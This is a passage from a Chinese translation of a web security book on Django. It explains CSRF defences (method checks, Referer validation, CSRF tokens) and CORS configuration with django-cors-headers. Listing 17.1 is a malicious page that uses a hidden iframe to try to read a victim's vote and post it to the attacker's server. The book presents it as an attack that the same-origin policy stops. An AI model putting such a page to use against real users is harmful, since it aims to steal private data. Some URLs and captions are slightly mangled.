安全的方法请求处理程序不应更改状态。如果你正在使用基于函数的视图,这更容易说而不易做。默认情况下,基于函数的视图将处理任何请求方法。这意味着一个用于 POST 请求的函数可能仍然会被 GET 请求调用。

下面的代码块展示了一个基于函数的视图。作者在防御性地验证了request方法,但请注意这需要多少行代码。考虑一下这有多容易出错:

from django.http import HttpResponse, HttpResponseNotAllowed

def group_membership_function(request):

    allowed_methods = {'POST'}                           # ❶
    if request.method not in allowed_methods:            # ❶
        return HttpResponseNotAllowed(allowed_methods)   # ❶

    ...
    return HttpResponse('state change successful')

❶ 以编程方式验证请求方法

相反,基于类的视图将 HTTP 方法映射到类方法。无需以编程方式检查request方法。Django 会为您完成这项工作。错误发生的可能性较小,而且更可能被捕获:

from django.http import HttpResponse
from django.views import View

class GroupMembershipView(View):

    def post(self, request, *args, **kwargs):    # ❶

        ...
        return HttpResponse('state change successful')

❶ 明确声明请求方法

为什么有人在函数中验证request方法,而不是在类中声明它?如果你正在处理一个庞大的遗留代码库,将每个基于函数的视图重构为基于类的视图可能是不现实的。Django 通过一些方法验证实用程序来支持这种情况。在这里以粗体显示的require_http_methods装饰器限制了视图函数支持的方法:

@require_http_methods(['POST'])
def group_membership_function(request):
    ...
    return HttpResponse('state change successful')

表 16.2 列出了另外三个内置装饰器,用于包装require_http_methods

表 16.2 请求方法验证装饰器

CSRF 抵抗是深度防御的一种应用。在下一节中,我将将这个概念扩展到一对 HTTP 头。在此过程中,我将介绍 Django 内置的 CSRF 检查。

16.4 Referer 头验证

对于任何给定的请求,如果服务器能够确定客户端获取 URL 的位置,则通常是有用的。这些信息通常用于提高安全性,分析 Web 流量和优化缓存。浏览器通过Referer请求头将此信息传递给服务器。

这个头的名称在 HTTP 规范中被意外地拼错了;整个行业都有意维持这个拼错以保持向后兼容性。这个头的值是引用资源的 URL。例如,Charlie 的浏览器在从 search.alice.com 导航到 social.bob.com 时将Referer头设置为https:/./search.alice.com

安全站点通过验证Referer头来抵御 CSRF。例如,假设一个站点收到一个伪造的 POST 请求,其Referer头设置为https:/./win-iphone.mallory.com。服务器通过简单地比较其域和Referer头的域来检测攻击。最后,它通过拒绝伪造的请求来保护自己。

Django 会自动执行此检查,但在极少数情况下,您可能希望针对特定引用者放宽此检查。如果您的组织需要在子域之间发送不安全的同站点请求,则此功能非常有用。CSRF_TRUSTED_ORIGINS 设置通过放宽对一个或多个引用者的 Referer 头验证来适应此用例。

假设 Alice 配置 admin.alice.com 以接受来自 bank.alice.com 的 POST 请求,并使用以下代码。注意,此列表中的引用者不包括协议;假定为 HTTPS。这是因为 Referer 头验证以及 Django 的其他内置 CSRF 检查仅适用于不安全的 HTTPS 请求:

CSRF_TRUSTED_ORIGINS = [
    'bank.alice.com'
]

此功能存在风险。例如,如果 Mallory 损坏了 bank.alice.com,她可以使用它对 admin.alice.com 发动 CSRF 攻击。在这种情况下,伪造的请求将包含一个有效的 Referer 头部。换句话说,此功能在这两个系统的攻击面之间建立了一个单向桥梁。

在本节中,您了解了服务器如何利用 Referer 头构建防御层。从用户的角度来看,这个解决方案不够完美,因为它引发了对公共网站隐私的关注。例如,Bob 可能不希望 Alice 知道他在访问 bank.alice.com 之前访问了哪个网站。下一节将讨论一个响应头,旨在缓解这个问题。

16.4.1 Referrer-Policy 响应头部

Referrer-Policy 响应头部为浏览器提供了有关何时以及如何发送 Referer 请求头的提示。与 Referer 头不同,Referrer-Policy 头的拼写是正确的。

此头部支持八种策略。表 16.3 描述了每种策略向浏览器传达的信息。不要费心记住每个策略;有些相当复杂。重要的是,某些策略,如 no-referrersame-origin,在跨站点 HTTPS 请求中省略了引用地址。Django 的 CSRF 检查将这些请求识别为攻击。

表 16.3 Referrer-Policy 头部的策略定义

SECURE_REFERRER_POLICY设置配置Referrer-Policy头。默认为same-origin

你应该选择哪种策略?从这个角度来看。风险范围的极端端点由no-referrerunsafe-url表示。 no-referrer选项最大化了用户隐私,但每个入站跨站点请求都会像一次攻击一样。另一方面,unsafe-url选项是不安全的,因为它泄露了整个 URL,包括域、路径和查询字符串,所有这些都可能携带私人信息。即使请求是通过 HTTP 进行的,但引用资源是通过 HTTPS 检索的,这也会发生。通常情况下,你应该避免极端情况;对于你的网站来说,最佳策略几乎总是在中间某处。

在下一节中,我将继续讨论 CSRF 令牌,这是 Django 内置的 CSRF 检查之一。与Referer头验证一样,Django 仅将此防御层应用于不安全的 HTTPS 请求。这是遵循适当的状态管理惯例并使用 TLS 的另一个原因。

16.5 CSRF 令牌

CSRF 令牌是 Django 的最后一道防线。安全的站点使用 CSRF 令牌来识别像 Alice 和 Bob 这样的普通用户的故意不安全的同站点请求。这个策略围绕着一个两步骤的过程展开:

  1. 服务器生成一个令牌并发送到浏览器。

  2. 浏览器以攻击者无法伪造的方式回显令牌。

服务器通过生成一个令牌并将其作为 cookie 发送到浏览器来启动这个策略的第一部分:

Set-Cookie: csrftoken=<token-value>; <directive>; <directive>;

与会话 ID cookie 一样,CSRF 令牌 cookie 由一些设置配置。CSRF_COOKIE_SECURE设置对应于Secure指令。在第七章中,你学到了Secure指令禁止浏览器将 cookie 通过 HTTP 发送回服务器:

Set-Cookie: csrftoken=<token-value>; Secure

警告 CSRF_COOKIE_SECURE默认为False,省略了Secure指令。这意味着 CSRF 令牌可以通过 HTTP 发送,在那里可能被网络窃听者截获。你应该将其更改为True

Django 的 CSRF 令牌策略的详细信息取决于浏览器是否发送了 POST 请求。我在接下来的两节中描述了两种情况。

16.5.1 POST 请求

当服务器接收到一个 POST 请求时,它期望在两个地方找到 CSRF 令牌:一个 cookie 和一个请求参数。浏览器显然会处理 cookie。另一方面,请求参数是你的责任。

当涉及到老式的 HTML 表单时,Django 会让这变得很容易。你在之前的章节中已经看到了几个例子。例如,在第十章中,Alice 使用了一个表单,再次显示在这里,给 Bob 发送了一条消息。注意表单包含了 Django 的内置csrf_token标记,以粗体字显示:

<html>

    <form method='POST'>
 {% csrf_token %}      <!-- ❶ -->
        <table>
            {{ form.as_table }}
        </table>
        <input type='submit' value='Submit'>
    </form>

</html>

❶ 这个标记将 CSRF 令牌呈现为一个隐藏的输入字段。

模板引擎将csrf_token标记转换为以下 HTML 输入字段:

<input type="hidden" name="csrfmiddlewaretoken"
➥     value="elgWiCFtsoKkJ8PLEyoOBb6GlUViJFagdsv7UBgSP5gvb95p2a...">

请求到达后,Django 从 cookie 和参数中提取令牌。只有当 cookie 和参数匹配时,请求才会被接受。

这如何阻止来自 win-iphone.mallory.com 的伪造请求呢?Mallory 可以轻松地在她的网站上嵌入自己的令牌,但是伪造的请求不会包含匹配的 cookie。这是因为 CSRF 令牌 cookie 的 SameSite 指令是 Lax。正如你在前面的章节中学到的那样,浏览器因此会在不安全的跨站点请求中省略 cookie。此外,Mallory 的网站根本无法修改该指令,因为 cookie 不属于她的域。

如果你通过 JavaScript 发送 POST 请求,你必须程序化地模拟 csrf_token 标签的行为。为此,你必须首先获取 CSRF 令牌。下面的 JavaScript 通过从 csrftoken cookie 中提取 CSRF 令牌来实现这一点:

function extractToken(){
    const split = document.cookie.split('; ');
    const cookies = new Map(split.map(v => v.split('=')));
    return cookies.get('csrftoken');
}

接下来,令牌必须以 POST 参数的形式发送回服务器,如粗体字所示:

const headers = {
   'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8'
};
fetch('/resource/', {                                    # ❶
        method: 'POST',                                  # ❶
        headers: headers,                                # ❶
 body: 'csrfmiddlewaretoken=' + extractToken()    # ❶
    })
    .then(response => response.json())                   # ❷
    .then(data => console.log(data))                     # ❷
    .catch(error => console.error('error', error));      # ❷

❶ 将 CSRF 令牌作为 POST 参数发送

❷ 处理响应

POST 只是许多不安全请求方法之一;Django 对其他请求方法有不同的期望。

16.5.2 其他不安全的请求方法

如果 Django 收到 PUT、PATCH 或 DELETE 请求,它期望在两个地方找到 CSRF 令牌:一个是 cookie,另一个是名为 X-CSRFToken 的自定义请求头。与 POST 请求一样,需要额外的工作。

下面的 JavaScript 代码展示了这种方法从浏览器的角度来看。这段代码从 cookie 中提取 CSRF 令牌,并将其程序化地复制到一个自定义请求头中,如粗体所示:

fetch('/resource/', {
        method: 'DELETE',                    # ❶
 headers: {                           # ❷
 'X-CSRFToken': extractToken()    # ❷
 }                                    # ❷
    })
    .then(response => response.json())
    .then(data => console.log(data))
    .catch(error => console.error('error', error));

❶ 使用了一个不安全的请求方法

❷ 使用自定义头添加 CSRF 令牌

Django 在收到非 POST 不安全请求后,从 cookie 和请求头中提取令牌。如果 cookie 和请求头不匹配,则请求会被拒绝。

这种方法与某些配置选项不兼容。例如,CSRF_COOKIE_HTTPONLY 设置为为 CSRF 令牌 cookie 配置 HttpOnly 指令。在之前的章节中,你了解到 HttpOnly 指令会将 cookie 隐藏在客户端 JavaScript 中。将此设置为 True 将会导致前面的代码示例出现错误。

注意:为什么 CSRF_COOKIE_HTTPONLY 默认为 False,而 SESSION_COOKIE_HTTPONLY 默认为 True?或者,为什么 Django 在会话 ID 中使用 HttpOnly,而在 CSRF 令牌中却省略了它?当攻击者有能力访问 cookie 时,你不再需要担心 CSRF。网站已经遇到了一个更严重的问题:主动的 XSS 攻击。

前面的代码示例如果 Django 被配置为将 CSRF 令牌存储在用户会话中而不是 cookie 中,也会失败。通过将 CSRF_USE_SESSIONS 设置为 True 来配置这种替代方案。如果你选择了这个选项,或者选择使用 HttpOnly,那么如果你的模板需要发送不安全的非 POST 请求,你将不得不以某种方式从文档中提取令牌。

警告 无论请求方法如何,都很重要避免将 CSRF 令牌发送到另一个网站。如果你将令牌嵌入到 HTML 表单中,或者将其添加到 AJAX 请求头中,始终确保 cookie 被发送回到它来自哪里。如果不这样做,将会使 CSRF 令牌暴露给另一个系统,从而可能被用来攻击你。

CSRF 需要像 XSS 一样的防御层。安全系统通过请求头、响应头、cookie、令牌和适当的状态管理构建这些层。在下一章中,我将继续介绍跨域资源共享,这是一个经常与 CSRF 混淆的主题。

摘要

  • 一个安全的站点可以区分意图请求和伪造请求。

  • NoneStrict 处于 SameSite 风险谱的相反极端。

  • Lax 是一个合理的折中方案,处于 NoneStrict 之间的风险之间。

  • 其他程序员、标准机构、浏览器供应商和 Web 框架都同意:遵循适当的状态管理约定。

  • 当你可以在类中声明请求方法时,不要在函数中验证请求方法。

  • 简单的 Referer 头验证和复杂的令牌验证都是有效的 CSRF 抵抗形式。

第十七章:跨源资源共享

本章内容包括

  • 理解同源策略

  • 发送和接收简单的 CORS 请求

  • 使用 django-cors-headers 实现 CORS

  • 发送和接收预检 CORS 请求

在第十五章中,您了解到一个源由 URL 的协议(方案)、主机和端口定义。每个浏览器都实现了同源策略(SOP)。该策略的目标是确保只有“相同源”的文档可以访问某些资源。这样可以防止具有 mallory.com 源的页面未经授权地访问源自 ballot.charlie.com 的资源。

跨源资源共享(CORS)看作是放宽浏览器同源策略的一种方式。这使得 social.bob.com 可以从 https:/./fonts.gstatic.com 加载字体。它还允许 alice.com 的页面向 social.bob.com 发送异步请求。在本章中,我将向您展示如何使用 django-cors-headers 安全地创建和消耗共享资源。由于 CORS 的性质,本章包含的 JavaScript 比 Python 更多。

17.1 同源策略

到目前为止,您已经看到 Mallory 未经授权地访问了许多资源。她用彩虹表破解了 Charlie 的密码。她用 Host 头攻击接管了 Bob 的帐户。她通过 XSS 弄清了 Alice 投票给谁。在本节中,Mallory 发起了一次更简单的攻击。

假设 Mallory 想知道 Bob 在 2020 年美国总统选举中投了谁的票。她引诱他回到 mallory.com,他的浏览器渲染了以下恶意网页。这个页面悄悄地从 Bob 当前登录的网站 ballot.charlie.com 请求 Bob 的选票表单。包含 Bob 投票的选票表单然后加载到一个隐藏的 iframe 中。这触发了一个 JavaScript 事件处理程序,试图读取 Bob 的投票并将其发送到 Mallory 的服务器。

Mallory 的攻击失败得很惨,如下列表所示。Bob 的浏览器阻止了她的网页访问 iframe 文档属性,而是抛出了 DOMException 异常。同源策略(SOP)挽救了这一局面。

列表 17.1 Mallory 未能窃取 Bob 的私人信息

<html>
  <script>
    function recordVote(){
      const ballot = frames[0].document.getElementById('ballot');   // ❶

      const headers = {
        'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8'
      };
      fetch('/record/', {                                           // ❷
        method: 'POST',                                             // ❷
        headers: headers,                                           // ❷
        body: 'vote=' + ballot.value                                // ❷
      });                                                           // ❷
    };
  </script>
  <body>
    ...

    <iframe src="https://ballot.charlie.com/"                       # 
            onload="recordVote()"                                   # 
            style="display: none;">                                 # ❺
    </iframe>
  </body>
</html>

❶ 抛出 DOMException 而不是访问 Bob 的投票

❷ 试图获取 Bob 的投票但从未执行

❸ 加载 Bob 的选票页面

❹ 在选票页面加载后调用

❺ 隐藏选票页面

很久以前,还没有同源策略。如果 Mallory 在 1990 年代中期尝试了这种技术,她就会成功。像这样的攻击非常容易执行,以至于像 Mallory 这样的人通常不需要像 XSS 这样的技术。显然,各浏览器供应商并没有花很长时间就采纳了同源策略。

与流行观念相反,浏览器的 SOP 并不适用于所有的跨域活动;大多数嵌入内容是例外的。例如,假设 Mallory 的恶意网页从 ballot.charlie.com 加载了图像、脚本和样式表;SOP 将毫无问题地显示、执行和应用这三种资源。这正是网站与 CDN 集成的方式。这种情况时常发生。

在本章的剩余部分中,我将介绍受同源策略约束的功能。在这些场景中,浏览器和服务器必须通过 CORS 进行合作。与 CSP 一样,CORS 是 W3C 的推荐标准(www.w3.org/TR/2020/SPSD-cors-20200602/)。该文档定义了在来源之间共享资源的标准,为您提供了一种以精确方式放宽浏览器 SOP 的机制。

17.2 简单的 CORS 请求

CORS 是浏览器和服务器之间的协作努力,由一组请求和响应头部实现。在本节中,我介绍了两个简单的例子,其中包含最常用的 CORS 头部:

  • 使用谷歌的字体

  • 发送异步请求

嵌入内容通常不需要 CORS;字体是例外。假设 Alice 从 bob.com 请求了列表 17.2 中的网页(此页面也出现在第十五章)。如粗体所示,网页触发了对 https://fonts.googleapis.com 的样式表的第二次请求。谷歌的样式表触发了对 https://fonts.gstatic.com 的 Web 字体的第三次请求。

列表 17.2 网页嵌入了来自谷歌的样式表和字体

<html>
  <head>
    <link href='https:/./fonts.googleapis.com/css?family=Caveat'   <!--  -->
          rel='stylesheet'>                                        <!-- ❶ -->
    <style>                                                        /*   ❷  */
      body {                                                       /*   ❷  */
        font-family: 'Caveat', serif;                              /*   ❷  */
      }                                                            /*   ❷  */
    </style>
  </head>
    <body>
      Text displayed in Caveat font
    </body>
</html>

❶ 由谷歌托管的公共样式表

❷ 一个内联样式表

谷歌发送的第三个响应带有两个有趣的头部信息。Content-Type头部指示字体采用 Web 开放字体格式(你在第十四章学过这个头部)。更重要的是,响应还包含了一个由 CORS 定义的Access-Control-Allow-Origin头部。通过发送这个头部,谷歌告知浏览器允许来自任何来源的资源访问该字体:

...
Access-Control-Allow-Origin: *     # ❶
Content-Type: font/woff
...

❶ 放宽了所有来源的同源策略

如果你的目标是与全世界分享资源,这个解决方案是完全有效的;但是如果你只想与一个信任的来源分享资源呢?接下来就介绍了这种用例。

17.2.1 跨源异步请求

假设 Bob 希望他的社交媒体站点用户始终了解最新趋势。他创建了一个新的只读/trending/资源,提供了一份热门社交媒体帖子的简短列表。Alice 也想将这些信息展示给 alice.com 的用户,所以她编写了以下 JavaScript。她的代码通过异步请求检索 Bob 的新资源。事件处理程序用响应填充了一个小部件。

列表 17.3 网页发送了一个跨域异步请求

<script>

  fetch('https:/./social.bob.com/trending/')               # ❶
    .then(response => response.json())
    .then(data => {                                       # ❷
      const widget = document.getElementById('widget');   # ❷
      ...                                                 # ❷
    })
    .catch(error => console.error('error', error));

</script>

❶ 发送一个跨域请求

❷ 将响应项呈现给用户

令 Alice 惊讶的是,她的浏览器阻止了响应,并且响应处理程序从未被调用。为什么?SOP 简单地无法确定响应是否包含公共或私人数据;social.bob.com/trending/social.bob.com/direct-messages/被视为相同。与所有跨域异步请求一样,响应必须包含有效的Access-Control-Allow-Origin头,否则浏览器将阻止访问。

Alice 要求 Bob 向/trending/添加Access-Control-Allow-Origin头。请注意,Bob 对/trending/的限制比 Google 对其字体的限制更严格。通过发送这个头,social.bob.com 告知浏览器文档必须源自https://alice.com才能访问资源:

...
Access-Control-Allow-Origin: https://alice.com
...

Access-Control-Allow-Origin是我在本章中介绍的许多 CORS 头中的第一个。在下一节中,您将学习如何开始使用它。

17.3 使用 django-cors-headers 进行 CORS

使用django-cors-headers在不同来源之间共享资源很容易。在您的虚拟环境中,运行以下命令来安装它。此软件包应安装到共享资源生产者,而不是消费者:

$ pipenv install django-cors-headers

接下来,在您的settings模块中的INSTALLED_APPS中添加corsheaders应用程序:

INSTALLED_APPS = [
   ...
   'corsheaders',
]

最后,在MIDDLEWARE中添加CorsMiddleware,如粗体字所示。根据项目文档,CorsMiddleware应该被放置“在任何可以生成响应的中间件之前,例如 Django 的CommonMiddleware或 WhiteNoise 的WhiteNoiseMiddleware”:

MIDDLEWARE = [
    ...
 'corsheaders.middleware.CorsMiddleware',
    'django.middleware.common.CommonMiddleware',
    'whitenoise.middleware.WhiteNoiseMiddleware',
    ...
]

17.3.1 配置 Access-Control-Allow-Origin

在配置Access-Control-Allow-Origin之前,您必须回答两个问题。这些问题的答案应该是精确的:

  • 你分享哪些资源?

  • 你将它们与哪些来源分享?

使用CORS_URLS_REGEX设置来定义 URL 路径模式的共享资源。顾名思义,此设置是一个正则表达式。默认值匹配所有 URL 路径。以下示例匹配以shared_resources开头的任何 URL 路径:

CORS_URLS_REGEX = r'^/shared_resources/.*$'

注意我建议使用共同的 URL 路径前缀托管所有共享资源。此外,不要使用此路径前缀托管未共享的资源。这清楚地传达了共享给两组人的内容:团队的其他成员和资源消费者。

正如您可能猜到的那样,Access-Control-Allow-Origin的值应尽可能严格。如果您公开共享资源,则使用*;如果您私下共享资源,则使用单个来源。以下设置配置了Access-Control-Allow-Origin的值:

  • CORS_ORIGIN_ALLOW_ALL

  • CORS_ORIGIN_WHITELIST

  • CORS_ORIGIN_REGEX_WHITELIST

CORS_ORIGIN_ALLOW_ALL设置为True会将Access-Control-Allow-Origin设置为*。这也会禁用其他两个设置。

CORS_ORIGIN_WHITELIST 设置与一个或多个特定来源共享资源。如果请求的来源与列表中的任何项目匹配,它将成为 Access-Control-Allow-Origin 头部的值。例如,鲍勃将使用以下配置与 Alice 和 Charlie 拥有的站点共享资源:

CORS_ORIGIN_WHITELIST = [
   'https:/./alice.com',
   'https:/./charlie.com:8002',
]

Access-Control-Allow-Origin 头部不会容纳整个列表;它只接受一个来源。django-cors-headers 如何知道请求的来源呢?如果你猜测是 Referer 头部,你就很接近了。实际上,浏览器使用一个名为 Origin 的头部指定请求的来源。这个头部的行为类似于 Referer 但不会显示 URL 路径。

CORS_ORIGIN_REGEX_WHITELIST 设置类似于 CORS_ORIGIN_WHITELIST。正如名称所示,这个设置是一个正则表达式列表。如果请求的来源与列表中的任何表达式匹配,它将成为 Access-Control-Allow-Origin 的值。例如,鲍勃将使用以下设置与 alice.com 的所有子域共享资源:

CORS_ORIGIN_REGEX_WHITELIST = [
   r'^https://\w+\.alice\.com$',
]

注意:您可能会惊讶地发现 WhiteNoise 将每个静态资源都以 Access-Control-Allow-Origin 头部设置为 *。最初的目的是授予对静态资源(如字体)的跨域访问。只要您使用 WhiteNoise 提供公共资源,这不应该成为问题。如果不是这种情况,您可以通过将 WHITENOISE_ALLOW_ALL_ORIGINS 设置为 False 来移除此行为。

在下一节中,我将介绍一些对于 Access-Control-Allow-Origin 单独来说过于复杂的用例。我向你介绍几个更多的响应头,两个请求头,以及一个很少使用的请求方法 OPTIONS

17.4 预检 CORS 请求

在我深入讨论这个主题之前,我将提供一些关于它解决的问题的背景信息。想象一下是 2003 年,查理正在构建 ballot.charlie.com。/vote/ 端点处理 POST 和 PUT 请求,允许用户创建和更改他们的投票。

查理知道 SOP 不会阻止跨域表单提交,因此他用 Referer 验证保护他的 POST 处理程序。这样可以阻止像 mallory.com 这样的恶意网站成功提交伪造的投票。

查理也知道 SOP 阻止跨域 PUT 请求,因此他不费力地用 Referer 验证保护他的 PUT 处理程序。他放弃了这一层防御,依赖于浏览器阻止所有跨域不安全的非 POST 请求的事实。查理完成了 ballot.charlie.com 并将其推送到生产环境。

CORS 在随后的一年(2004 年)诞生。在接下来的 10 年里,它发展成为 W3C 的推荐标准。在此期间,规范的作者们不得不找到一种方法来推出 CORS,而不危及像查理的 PUT 处理程序这样的无防御的端点。

显然,CORS 不能简单地为新一代浏览器释放跨源不安全请求。旧站点如 ballot.charlie.com 将遭受新一波攻击。检查响应头部如 Access-Control-Allow-Origin 无法保护这些站点,因为攻击会在浏览器接收到响应之前完成。

CORS 必须使浏览器能够在发送跨源不安全请求之前发现服务器是否准备就绪。这种发现机制称为预检请求。浏览器发送预检请求以确定是否安全发送潜在有害的跨源资源请求。换句话说,浏览器请求权限而不是原谅。仅当服务器对预检请求作出积极响应时,原始的跨源资源请求才会被发送。

预检请求方法始终是 OPTIONS。像 GETHEAD 一样,OPTIONS 方法是安全的。浏览器自动承担发送预检请求和处理预检响应的所有责任。客户端代码从不故意执行这些任务。下一节将更详细地介绍预检请求。

17.4.1 发送预检请求

假设 Bob 想要通过一个新功能来改善他的社交网络网站,即匿名评论。任何人都可以毫无后果地说任何话。我们来看看会发生什么。

Bob 部署了 social.bob.com/comment/,允许任何人创建或更新评论。然后,他为他的公共网站 www.bob.com 编写了列表 17.4 中的 JavaScript。这段代码让公众可以匿名评论他社交网络用户发布的照片。

注意两个重要细节:

  • Content-Type 头部明确设置为 application/json。带有这些属性之一的跨源请求需要预检请求。

  • www.bob.com 发送带有 PUT 请求的评论。

换句话说,这段代码发送了两个请求:预检请求和实际的跨源资源请求。

列表 17.4 www.bob.com 的一个网页向照片添加评论

<script>

  const comment = document.getElementById('comment');     # ❶
  const photoId = document.getElementById('photo-id');    # ❶
  const body = {                                          # ❶
    comment: comment.value,                               # ❶
    photo_id: photoId.value                               # ❶
  };                                                      # ❶

  const headers = {
    'Content-type': 'application/json'                    # ❷
  };
  fetch('https:/./social.bob.com/comment/', {
      method: 'PUT',                                      # ❸
      headers: headers,
      body: JSON.stringify(body)
    })
    .then(response => response.json())
    .then(data => console.log(data))
    .catch(error => console.error('error', error));

</script>

❶ 从 DOM 中读取评论

❷ 触发预检的 Content-Type 请求头值

❸ 一个触发预检请求的方法

注意 如果你想了解 CORS,请让头部告诉你故事。

下面是预检请求的一些有趣的头部信息。你之前学过其中的两个。Host 头部指明了请求去向何处;Origin 头部指明了请求来自何处。以粗体显示的 Access-Control-Request-HeadersAccess-Control-Request-Method 是 CORS 头部。浏览器使用这些头部来询问服务器是否准备好接受携带非典型内容类型的 PUT 请求:

...
Access-Control-Request-Headers: content-type
Access-Control-Request-Method: PUT
Host: social.bob.com
Origin: https:/./www.bob.com
...

以下是预检响应中的一些有趣的标头。Access-Control-Allow-HeadersAccess-Control-Allow-Methods 是对 Access-Control-Request-HeadersAccess-Control-Request-Method 的回复。这些响应标头通知 Bob 的服务器可以处理哪些方法和请求标头。这包括 PUT 方法和加粗显示的 Content-Type 标头。关于第三个响应标头 Access-Control-Allow-Origin,您已经了解了很多:

...
Access-Control-Allow-Headers: accept, accept-encoding, content-type, ➥authorization, dnt, origin, user-agent, x-csrftoken, ➥x-requested-with
Access-Control-Allow-Methods: GET, OPTIONS, PUT
Access-Control-Allow-Origin: https:/./www.bob.com
...

最后,浏览器被允许发送原始的跨源异步 PUT 请求。图 17.1 描绘了这两个请求。

Python 全栈安全(四)-LMLPHP

图 17.1 成功的预检 CORS 请求

那么,究竟是什么条件触发了预检请求呢?表 17.1 枚举了各种触发器。如果浏览器发现多个触发器,则最多只发送一个预检请求。存在一些浏览器之间的小差异(有关详细信息,请参见 MDN Web 文档:mng.bz/0rKv)。

表 17.1 预检请求触发器

| 标头 | 请求包含一个既不在安全列表中也不被禁止的标头。CORS 规范将安全列表请求标头定义如下:

  • Accept

  • Accept-Language

  • Content-Language

  • Content-Type(更多限制遵循)

CORS 规范定义了 20 个被禁止的标头,包括 Cookie、Host、Origin 和 Referer (https://fetch.spec.whatwg.org/#forbidden-header-name). |

| 内容类型标头 | 内容类型标头除了以下内容之外都是其他:

  • application/x-www-form-urlencoded

  • multipart/form-data

  • text/plain

|

作为资源消费者,您不需要发送预检请求;作为资源生产者,您需要发送预检响应。下一节将介绍如何调整各种预检响应标头。

17.4.2 发送预检响应

在本节中,您将学习如何使用 django-cors-headers 管理多个预检响应标头。前两个标头在前一节中已经涵盖了:

  • Access-Control-Allow-Methods

  • Access-Control-Allow-Headers

  • Access-Control-Max-Age

CORS_ALLOW_METHODS 设置配置 Access-Control-Allow-Methods 响应标头。默认值是一个常见的 HTTP 方法列表,如下所示。在配置此值时,您应该应用最小权限原则;只允许您需要的方法:

CORS_ALLOW_METHODS = [
    'DELETE',
    'GET',
    'OPTIONS',
    'PATCH',
    'POST',
    'PUT',
]

CORS_ALLOW_HEADERS设置配置了Access-Control-Allow-Headers响应头。此设置的默认值是一组常见的无害请求头,如下所示。AuthorizationContent-TypeOriginX-CSRFToken在本书中已经介绍过了:

CORS_ALLOW_HEADERS = [
    'accept',
    'accept-encoding',
    'authorization',      # ❶
    'content-type',       # ❷
    'dnt',
    'origin',             # ❸
    'user-agent',
    'x-csrftoken',        # ❹
    'x-requested-with',
]

❶ 与 OAuth 2 同时引入

❷ 与 XSS 同时引入

❸ 在本章中引入

❹ 与 CSRF 同时引入

使用自定义请求头扩展此列表不需要将整个内容复制到您的设置文件中。以下代码演示了如何通过导入default_headers元组来干净地执行此操作:

from corsheaders.defaults import default_headers

CORS_ALLOW_HEADERS = list(default_headers) + [
    'Custom-Request-Header'
]

Access-Control-Max-Age响应头限制了浏览器缓存预检请求响应的时间。该头由CORS_PREFLIGHT_MAX_AGE设置配置。此设置的默认值为86400(一天,以秒为单位):

Access-Control-Max-Age: 86400

长时间缓存可能会增加您的发布复杂性。例如,假设您的服务器告诉浏览器将预检请求响应缓存一天。然后,您修改了预检请求响应以推出新功能。在浏览器可以使用该功能之前可能需要一天的时间。我建议在生产中将CORS_PREFLIGHT_MAX_AGE设置为 60 秒或更短。这样可以避免潜在的麻烦,而性能损失通常可以忽略不计。

在浏览器缓存预检响应时,通过本地开发问题进行调试几乎是不可能的。为自己做个好事,在开发环境中将CORS_PREFLIGHT_MAX_AGE分配给1

CORS_PREFLIGHT_MAX_AGE = 1 if DEBUG else 60

17.5 跨源发送 cookies

Bob 意识到他犯了一个大错。人们正在使用匿名评论在他的社交网络站点上互相说一些非常不好的话。每个人都很不高兴。他决定用认证评论替换匿名评论。从现在开始,对/comment/的请求必须携带有效的会话 ID。

不幸的是对于 Bob,来自 www.bob.com 的每个请求已经省略了用户的会话 ID,即使对于当前已登录到 social.bob.com 的用户也是如此。默认情况下,浏览器会省略跨源异步请求中的 cookies。它们还会忽略来自跨源异步响应的 cookies。

Bob 将Access-Control-Allow-Credentials头添加到/comment/预检响应中。与其他 CORS 头一样,此头旨在放宽 SOP。具体来说,此头允许浏览器在随后的跨源资源请求中包含凭据。客户端凭据包括 cookies、授权头和客户端 TLS 证书。以下是一个示例头:

Access-Control-Allow-Credentials: true

CORS_ALLOW_CREDENTIALS设置指示django-cors-headers将此头添加到所有 CORS 响应中:

CORS_ALLOW_CREDENTIALS = True

Access-Control-Allow-Credentials 允许浏览器发送 cookies;它不会强制浏览器执行任何操作。换句话说,服务器和浏览器都必须选择加入。Access-Control-Allow-Credentials旨在与fetch(credentials)XmlHttpRequest.withCredentials一起使用。最后,Bob 在 www.bob.com 添加了一行 JavaScript 代码,如下所示,用粗体字显示。问题解决:

<script>
  ...
  fetch('https:/./social.bob.com/comment/', {
      method: 'PUT',
      headers: headers,
      credentials: 'include',        # ❶
      body: JSON.stringify(body)
    })
    .then(response => response.json())
    .then(data => console.log(data))
    .catch(error => console.error('error', error));
  ...
</script>

❶ 一个用于发送和接收 cookies 的选择性设置

我选择在本书中将 CORS 和 CSRF 相互隔离。我还选择连续呈现这些主题,因为 CORS 和 CSRF 抵抗经常被混淆。尽管有些重叠,但这些主题并不相同。

17.6 CORS 和 CSRF 抵抗

CORS 和 CSRF 之间的一些混淆是可以预料的。这两个主题都属于 Web 安全;这两个主题都适用于网站之间的流量。这些相似之处被许多差异所掩盖:

  • CORS 标头不能抵抗常见形式的 CSRF。

  • CSRF 抵抗不能放宽同源策略。

  • CORS 是 W3C 推荐;CSRF 保护未标准化。

  • 请求伪造需要会话 ID;资源共享不需要。

CORS 不能替代 CSRF 抵抗。在第十六章中,你看到 Mallory 欺骗 Alice 从 mallory.com 提交一个隐藏表单到 admin.alice.com。SOP 不规范这种请求。没有办法用 CORS 标头阻止这种攻击。CSRF 抵抗是唯一的方法。

同样,CSRF 抵抗不能替代 CORS。在本章中,你看到 Bob 使用 CORS 来放宽 SOP,与 https:/./alice.com 分享/trending/资源。相反,任何形式的 CSRF 抵抗都不会允许 Bob 放宽 SOP。

此外,CORS 是 W3C 推荐。这个标准已经被每个浏览器和无数服务器端框架(包括django-cors-headers)相对统一地实现。对于 CSRF 抵抗没有相应的标准。Django、Ruby on Rails、ASP.NET 和每个其他 Web 框架都可以以自己独特的方式抵抗 CSRF。

最后,一个成功的伪造请求必须携带有效的会话 ID;用户必须已登录。相反,许多成功的 CORS 请求不需要,也不应该携带会话 ID。在本章中,你看到 Google 与 Alice 分享字体,即使她没有登录到 Google。Bob 最初与 www.bob.com 用户分享/trending/,即使其中许多用户没有登录到 social.bob.com。

简而言之,CSRF 抵抗的目的是为了拒绝不经意的恶意请求以确保安全。CORS 的目的是接受有意的请求以支持功能功能。在下一章中,我将涵盖点击劫持,这是另一个与 CSRF 和 CORS 混淆的主题。

摘要

  • 没有 SOP,互联网将是一个非常危险的地方。

